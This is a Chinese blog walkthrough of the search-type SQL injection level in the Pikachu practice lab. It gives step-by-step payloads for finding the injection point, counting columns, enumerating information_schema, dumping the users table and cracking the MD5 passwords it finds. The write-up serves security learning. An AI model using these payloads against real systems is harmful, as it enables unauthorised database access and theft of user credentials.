pikachu闯关(三)---搜索型注入

根据提示信息,可以先随便输入一个,比如:o,得到如下结果:

可以猜测出大概sql语句大概是:select username,uid,email from 表名 where username like '%o%',那么我们要进行注入就要形成闭环可以改为%’形成闭环,相当于成了:select username,uid,email from 表名 where username like '%o%' and 1=1 # %‘,其中 o%' and 1=1 # 这个为我们输入的内容。还是按照之前的步骤进行注入。

1、查找注入点

o%' and 1=1 #
o%' and 1=2 #

 分别输入上面两句,查看结果是否相同,测试是否可注入。

两次结果不同,可进行注入。

找到注入点后,在之后的联合查询中可以使用o%' +联合查询语句,也可以直接使用o’+联合查询语句,因为无论联合查询前面的内容是否正确都会执行后面的内容。

2、查询字段数

将kobe'后面的内容改为 order by +个数,进行试验,也可以输入 union select 1,2...这种方式试验,这里我用的是order by 的方式。

o%' order by 3 #

从1开始实验,不管是order by1、2 还是3 都是有结果的,当我们输入order by 4时,就有了报错信息。 

说明字段数为3,知道字段数是我们渗透必不可少的一步,因为联合查询必须要求前后的列数必须相同,接下来进行联合查询。

3、获取数据库、字段、用户信息等。

o%' union select 1,database(),user() #

 

atabase()是获取当前数据库名,user()是获取当前的用户。

在我们创建数据库后,每个数据库系统中都有一个相同的库(information_schema),里面存在了许多对于我们渗透有用的表,如:SCHEMATA(有我们所有的数据库名)、TABLES(所有的表名)、COLUMNS(所有的列名),我们将会利用这些表中的数据一步步进行渗透。

找到所有的数据库(虽然前面我们已经知道了当前数据库,这个是为了能够渗透到其他的数据库)
用union联合查询时一定要注意前后的列数相同,在前面我们知道了字段数为3,那么我们后面的列数也要为3,下面代码中的第一个数字1代表了一列,括号中的select语句整体代表一列。

o%' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) #

group_concat()是将所有的数据库名连成一行显示;如果不用group_concat()函数,只能一行一行显示,在select语句最后要加上limit 0,1(从第一行开始取一行也就是第一行)...依次改变,前面的数字,limit1,1代表了取第二行。 

得到了所有的数据库名;

  • 选择数据库,并爆出该数据库的所有表

通过上面得到的数据库名,选择数据库,利用information_schema库中的TABLES表:

o%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' ) #

 

  • 得到pikachu表中所有的列 

使用COLUMNS表,得到users表中的所有列.

o%' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users' ) #

 

  • 利用已知的信息,进行拖库

在前面的几步中,我们已经得到了表名以及列名,利用这些已知条件进行拖库。

o%' union select id,username,password from users #

 

可得到用户的信息,用户名以及密码,这里的密码是用了MD5加密,我们在进行解密时,可以在网上找一个可以MD5解密的网站就可以,密码分别是: 123456    000000    abc123

感谢大家的观看,记得点个小赞赞~
 

 

  • 28
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值